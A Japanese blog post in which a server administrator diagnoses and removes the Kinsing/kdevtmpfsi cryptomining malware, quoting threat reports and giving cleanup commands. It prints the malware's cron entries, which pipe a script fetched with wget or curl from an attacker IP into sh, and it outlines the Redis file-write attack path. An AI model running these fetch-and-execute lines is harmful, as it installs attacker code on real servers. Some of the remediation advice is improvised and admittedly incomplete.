LinuxサーバーのCPU負荷が100%になってしまいました。
調べてみると、apacheで怪しいプロセスがありました。
# ps -ef
apache 14850 1 0 5月16 ? 00:00:55 /var/tmp/kinsing
apache 18082 1 0 14:24 ? 00:00:04 /var/tmp/kinsing
apache 24192 1 0 5月16 ? 00:01:18 /tmp/kdevtmpfsi
これは、何でしょうか?
目次
Kinsing とは
Kinsingは、コンテナ環境を対象としたマルウェアです。
Docker Daemon APIやRedisを悪用して、Ubuntuコンテナで kinsing を実行するようです。
kinsing is not only distributed via docker api, it penetrates massively via redis, docker api, kubernet, rfi e.t.c ....
・https://github.com/docker-library/redis/issues/217
In addition to killing some malicious processes to steal resources, the attacker followed up the malicious script by downloading and running malicious binary files to http://142.44.191.122/kinsing . This means that the process name or directory name containing kinsing on the host may indicate that this machine has been infected by the worm.
・https://www.alibabacloud.com/blog/new-outbreak-of-h2miner-worms-exploiting-redis-rce-detected_595743
/var/tmp/kinsing
/tmp/kdevtmpfsi
は、マルウェア kinsing が実行される際に作成されるようです。
Aqua Security Software社が、その脅威をレポートしています。
・https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability
こちらは日本語訳です。
・https://www.creationline.com/lab/34036
GitHubでも、このファイルは怪しいと書いてありました。
・https://github.com/docker-library/redis/issues/217
マルウェア Kinsing の目的は仮想通貨のマイニング
マルウェア Kinsing の目的は、個人情報を盗聴する目的ではなく、サーバのCPU、メモリの計算リソースを乗っ取って、仮想通貨をマイニングすることです。
This process is a mining program.
If you see your CPU usage is 100% and the process is kdevtmpfsi, probably you have infected.
kdevtmpfsi has a daemon process, killing the kdevtmpfsi process alone won't help. The name of the daemon is kinsing, and it needs to be killed alone with its cronjob.
その結果、乗っ取られたサーバーのCPUは、ほぼ100%の使いとなり、既存のサービスの品質低下、提供不可になる場合があります。
感染した時のCPU負荷の状態です。
感染に気付いて何も対策せずにサーバーを再起動した場合、再度、感染します。
Kinsing, kdevtmpfsi をLinuxで削除、対策
このマルウェアはリブートしても、マルウェアにまた感染するために抜本的な対策が必要です。
そこで、このあたりに書かれている対策を行いました。
・https://askubuntu.com/questions/1225410/my-ubuntu-server-has-been-infected-by-a-virus-kdevtmpfsi
・https://stackoverflow.com/questions/60151640/kdevtmpfsi-using-the-entire-cpu
/var/spool/cron/apache の内容を確認
/var/spool/cron/apache の中身が、以下のようなファイルだったします。
1 |
* * * * * wget -q -O - http://195.3.146.118/ex.sh | sh> / dev / null 2> & 1 |
あるいは
1 |
* * * * * curl http://195.3.146.118/ex.sh | sh > /dev/null 2>&1 |
cronを外部から書き込んで、ex.shをダウンロードしています。
apacheというファイルを削除しましょう。
1 |
# rm /var/spool/cron/apache |
ただし、削除しただけだと不十分。
このディレクトリは、root権限しか書き込めないはずなのに、そこにファイルを外部から書き込めているのが問題。
だから、削除しても再度、同じファイルを書き込まれる。
本質的ではないが、例えば、apacheというディレクトリを作成すれば、同じファイルは作成できない。
RedisのRCE (Remote Code Execution) バージョン6.0にアップ
以下の、「RedisからOSコマンドを実行する攻撃方法」を参考。
・https://knqyf263.hatenablog.com/entry/2019/07/12/102929
Redisを間違ってインターネットに開放してしまっていた場合に、認証がなければ好きなRedisコマンドを実行されてしまいます。この場合に最大どの程度の被害になるのか、というのがセキュリティ界隈の人にも意外と知られていなかったので書いておきます。
Redisの実行ユーザによりますがrootなどで動いていて、他にいくつか緩い条件を満たせばOSの任意コマンドが実行可能です。
怖いですよ、root権限で外部からサーバーにファイルを書き込むことが出来るんですからね。
RedisにはKey/Valueをファイルとして書き出す機能があります。さらに、書き出し先はRedisコマンドで変更可能なので実は任意の場所にデータを書き出すことが出来ます。
これを自分の書き出したい場所に変更し、Valueに書き込みたい内容を書いておけば好きなファイルに好きな内容を書き込めるという話です。
RHELやCentOSなどで普通にRedisを入れた場合、きちんとredisユーザを作ってそちらのユーザで起動するように起動スクリプトを書かないとrootで起動してしまいます。ブログとかによってはrootで起動してたりする場合もありますし、Redisがrootなどの強いユーザで動いているなどの可能性は0ではないと思います(というか見たことがあります)。また、普通のサーバであればcronは動いていると思いますし、実行ユーザの条件さえ満たせれば成功する可能性は高いと考えています。きちんとユーザを分離するのは当たり前ですが大事ということですね。
Redis RCE (Remote Code Execution) は、外部からコマンドを実行出来るので要注意。
アンチウィルスソフト会社のトレンドマイクロ社の記事です。
Redis, which is intended to be used in trusted environments, has a protected mode configuration and is set to be updated to a new version, Redis 6.0, which will introduce new security features such as access-control lists (ACLs).
Redis 6.0を使えば大丈夫か。
kinsing, kdevtmpfsi, zzz というファイルを削除
kinsing, kdevtmpfsi, zzz というファイルを削除してから、空のファイルを作成して権限を無くしておく。
1 2 3 4 5 6 7 8 9 10 11 |
# rm /tmp/kdevtmpfsi # rm /tmp/zzz # rm /var/tmp/kinsing # touch /tmp/kdevtmpfsi # touch /tmp/zzz # touch /var/tmp/kinsing # chmod 000 /tmp/kdevtmpfsi # chmod 000 /tmp/zzz # chmod 000 /var/tmp/kinsing |
これらのファイルを削除しても、1 の cron を書き込まれたら、再度ファイルが作成されてしまいます。
ですので、この対応は、実はあまり意味がないかも。
wgetやcurlを使えなくする
このマルウェアは、
/bin/wget
あるいは
/bin/curl
を使ってシェルスクリプトをダウンロードして実行するので、これを使えなくするのも一つの方法。
1 2 3 |
# cd /bin # mv wget wget2 # mv curl curl2 |
ただし、他のプログラムがcurlやwgetを使うなら困りますね。。
これで、サーバーを再起動しました。
WindowsでKinsingマルウェアを削除
WindowsでのKinsingマルウェアの削除方法はこちらに記載がありました。
HOW TO REMOVE KINSING MALWARE? (REMOVAL STEPS)
・https://cleanupallthreats.com/research-how-to-remove-kinsing-malware-removal-steps/
コメント
DockerもRedisも動かしていないCentOS7で侵入されました。
ググっても侵入経路が書かれたものがありません。
動作原理もよく分からないので、ここに書かれた対策を講じたら、それで安全と言えるのか、さっぱりです。(他の記事がDockerやRedis前提なのでなおさら)